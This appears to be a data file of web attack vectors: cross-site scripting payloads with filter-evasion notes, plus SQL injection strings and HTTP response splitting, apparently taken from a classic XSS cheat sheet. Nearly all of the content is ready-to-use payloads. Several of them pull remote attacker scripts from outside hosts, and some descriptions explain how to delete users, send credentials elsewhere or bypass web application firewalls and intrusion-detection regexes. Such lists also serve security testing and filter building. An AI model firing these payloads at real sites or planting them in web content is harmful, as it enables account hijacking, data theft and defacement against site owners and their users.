<code>') OR 1 < 2 #</code>
<desc>Another basic SQL Injection vector</desc>
<label>SQL Injection Attacks</label>
<browser/>
<name> --- Browser specific attacks ---</name>
<name>IE VBScript injection</name>
<code>vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))</code>
<desc>This works in IE only - use the PoC Link feature to test for this.</desc>
<label>Browser specific Attacks</label>
<browser>IE</browser>
<name>IE expression injection</name>
<code>" style="color: expression(alert(0));" a="</code>
<name>IE closing-tag expression injection</name>
<code></a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')"></code>
<desc></desc>
<browser>IE</browser>
<name>IE backticked semicolon injection</name>
<code><img src=`x` onrerror= ` ;; alert(1) ` /></code>
</attack>
<name>Mozilla -moz-binding-url injection</name>
<code>" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="</code>
<desc>This works in Gecko browsers only.</desc>
<browser>Gecko</browser>
<name>Mozilla -moz-binding-url injection (filter evading)</name>
<code>" sstyle="foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="</code>
<desc>This works in Gecko browsers only. Was once used on php.net</desc>
<name> --- Weird stuff ---</name>
<name>HTTP Reponse Splitting XSS</name>
<code>%0aContent-Type:text/html%0a%0a%3cscript%3ealert(0)%3c/script%3ehttp://www.google.de/</code>
<desc>HTTP response splitting vector with XSS alert</desc>
<label>Weird stuff</label>
<name>Nullbyte XSS</name>
<code>c%00""<script>alert(0);</script></code>
<name> --- Style injections and hw/fw-encoding attacks ---</name>
</attack>
<name>BODY{-moz-binding:url("http://h4k.in/mozxss.xml%23xss")}</name>
<code>BODY{-moz-binding:url("http://h4k.in/mozxss.xml%23xss")}</code>
<label>hw/fw injections</label>
<name>x=alert;x(%26%2340 /finally through!/.source %26%2341);</name>
<code>x=alert;x(%26%2340 /finally through!/.source %26%2341);</code>
<name>%26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//</name>
<code>%26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//</code>
<name> --- URL injection ---</name>
<name>http://aa&lt;script&gt;alert(123)&lt;/script&gt;</name>
<code>http://aa<script>alert(123)</script></code>
<label>URL injection</label>
<name>XSS Locator</name>
<code>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}</code>
<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc>
<label>Basic XSS Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
<name>XSS Quick Test</name>
<code>'';!--"<XSS>=&{()}</code>
<desc>If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.</desc>
<name>SCRIPT w/Alert()</name>
<code><SCRIPT>alert('XSS')</SCRIPT></code>
<desc>Basic injection attack</desc>
<name>SCRIPT w/Source File</name>
<code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code>
<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc>
<name>SCRIPT w/Char Code</name>
<code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code>
<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.</desc>
<name>BASE</name>
<code><BASE HREF="javascript:alert('XSS');//"></code>
<desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
<name>BGSOUND</name>
<code><BGSOUND SRC="javascript:alert('XSS');"></code>
<desc>BGSOUND</desc>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
<name>BODY background-image</name>
<code><BODY BACKGROUND="javascript:alert('XSS');"></code>
<desc>BODY image</desc>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
<name>BODY ONLOAD</name>
<code><BODY ONLOAD=alert('XSS')></code>
<desc>BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)</desc>
<name>DIV background-image 1</name>
<code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code>
<desc>Div background-image</desc>
<name>DIV background-image 2</name>
<code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code>
<desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc>
<name>DIV expression</name>
<code><DIV STYLE="width: expression(alert('XSS'));"></code>
<desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"</desc>
<name>FRAME</name>
<code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code>
<desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc>
<name>IFRAME</name>
<code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code>
<desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc>
<name>INPUT Image</name>
<code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code>
<desc>INPUT Image</desc>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
<name>IMG w/JavaScript Directive</name>
<code><IMG SRC="javascript:alert('XSS');"></code>
<desc>Image XSS using the JavaScript directive.</desc>
<name>IMG No Quotes/Semicolon</name>
<code><IMG SRC=javascript:alert('XSS')></code>
<desc>No quotes and no semicolon</desc>
<name>IMG Dynsrc</name>
<code><IMG DYNSRC="javascript:alert('XSS');"></code>
<desc>IMG Dynsrc</desc>
<name>IMG Lowsrc</name>
<code><IMG LOWSRC="javascript:alert('XSS');"></code>
<desc>IMG Lowsrc</desc>
<name>IMG Embedded commands 1</name>
<code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code>
<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc>
<name>IMG Embedded commands 2</name>
<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code>
<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>
<name>IMG STYLE w/expression</name>
<code>exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code>
<desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc>
<name>List-style-image</name>
<code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code>
<desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc>
<name>IMG w/VBscript</name>
<code><IMG SRC='vbscript:msgbox("XSS")'></code>
<desc>VBscript in an image</desc>
<name>LAYER</name>
<code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code>
<desc>Layer (Older Netscape only)</desc>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser>
<name>Livescript</name>
<code><IMG SRC="livescript:[code]"></code>
<desc>Livescript (Older Netscape only)</desc>
<name>US-ASCII encoding</name>
<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code>
<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser>
<name>META</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code>
<desc>The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
<name>META w/data:URL</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code>
<desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
<name>META w/additional URL parameter</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code>
<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc>
<name>Mocha</name>
<code><IMG SRC="mocha:[code]"></code>
<desc>Mocha (Older Netscape only)</desc>
<name>OBJECT</name>
<code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code>
<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc>
<name>OBJECT w/Embedded XSS</name>
<code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code>
<desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc>
<browser>Browser support:</browser>
<name>Embed Flash</name>
<code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code>
<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc>
<name>OBJECT w/Flash 2</name>
<code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);</code>
<desc>Using this action script inside flash can obfuscate your XSS vector.</desc>
<name>STYLE</name>
<code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code>
<desc>STYLE tag (Older versions of Netscape only)</desc>
<name>STYLE w/Comment</name>
<code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code>
<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc>
<name>STYLE w/Anonymous HTML</name>
<code><XSS STYLE="xss:expression(alert('XSS'))"></code>
<desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc>
<name>STYLE w/background-image</name>
<code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code>
<desc>STYLE tag using background-image.</desc>
<name>STYLE w/background</name>
<code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code>
<desc>STYLE tag using background.</desc>
<name>Stylesheet</name>
<code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code>
<desc>Stylesheet</desc>
<name>Remote Stylesheet 1</name>
<code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code>
<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc>
<name>Remote Stylesheet 2</name>
<code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code>
<desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>
<name>Remote Stylesheet 3</name>
<code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code>
<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>
<name>Remote Stylesheet 4</name>
<code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code>
<desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
<name>TABLE</name>
<code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code>
<desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc>
<name>TD</name>
<code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code>
<desc>TD background.</desc>
<name>XML namespace</name>
<code><HTML xmlns:xss>
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
<xss:xss>XSS</xss:xss>
</HTML></code>
<desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc>
<name>XML data island w/CDATA</name>
<code><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code>
<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc>
<name>XML data island w/comment</name>
<code><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></code>
<desc>XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)</desc>
<name>XML (locally hosted)</name>
<code><XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code>
<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc>
<name>XML HTML+TIME</name>
<code><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code>
<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc>
<name>Commented-out Block</name>
<code><!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--></code>
<desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc>
<label>Other Attacks</label>
<name>Cookie Manipulation</name>
<code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code>
<desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc>
<name>Local .htc file</name>
<code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code>
<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc>
<name>Rename .js to .jpg</name>
<code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code>
<desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc>
<name>SSI</name>
<code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code>
<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc>
<name>PHP</name>
<code><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
<desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc>
<name>JavaScript Includes</name>
<code><BR SIZE="&{alert('XSS')}"></code>
<desc>&JavaScript includes (works in Netscape 4.x).</desc>
<name>Character Encoding Example</name>
<code><
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\u003C</code>
<desc>All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).</desc>
<label>Character Encoding Attacks</label>
<name>Case Insensitive</name>
<code><IMG SRC=JaVaScRiPt:alert('XSS')></code>
<desc>Case insensitive XSS attack vector.</desc>
<name>HTML Entities</name>
<code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code>
<desc>HTML entities (the semicolons are required for this to work).</desc>
<name>Grave Accents</name>
<code><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`></code>
<desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).</desc>
<name>Image w/CharCode</name>
<code><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></code>
<desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc>
<name>UTF-8 Unicode Encoding</name>
<code><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></code>
<desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc>
<name>Long UTF-8 Unicode w/out Semicolons</name>
<code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code>
<desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).</desc>
<name>DIV w/Unicode</name>
<code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code>
<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc>
<name>Hex Encoding w/out Semicolons</name>
<code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code>
<desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc>
<name>UTF-7 Encoding</name>
<code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code>
<desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc>
<name>Escaping JavaScript escapes</name>
<code>\";alert('XSS');//</code>
<desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc>
<name>End title tag</name>
<code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code>
<desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc>
<name>STYLE w/broken up JavaScript</name>
<code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code>
<desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc>
<name>Embedded Tab</name>
<code><IMG SRC="jav	ascript:alert('XSS');"></code>
<desc>Embedded tab to break up the cross site scripting attack.</desc>
<label>Embedded Character Attacks</label>
<name>Embedded Encoded Tab</name>
<code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code>
<desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc>
<name>Embedded Newline</name>
<code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code>
<desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc>
<name>Embedded Carriage Return</name>
<code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code>
<desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc>
<name>Multiline w/Carriage Returns</name>
<code><IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
</code>
<desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc>
<name>Null Chars 1</name>
<code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code>
<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>
<name>Null Chars 2</name>
<code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code>
<desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date</desc>
<name>Spaces/Meta Chars</name>
<code><IMG SRC=" &#14; javascript:alert('XSS');"></code>
<desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).</desc>
<name>Non-Alpha/Non-Digit</name>
<code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc>
<name>Non-Alpha/Non-Digit Part 2</name>
<code><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></code>
<desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc>
<name>No Closing Script Tag</name>
<code><SCRIPT SRC=http://ha.ckers.org/xss.js</code>
<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc>
<name>Protocol resolution in script tags</name>
<code><SCRIPT SRC=//ha.ckers.org/.j></code>
<desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc>
<name>Half-Open HTML/JavaScript</name>
<code><IMG SRC="javascript:alert('XSS')"</code>
<desc>Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc>
<name>Double open angle brackets</name>
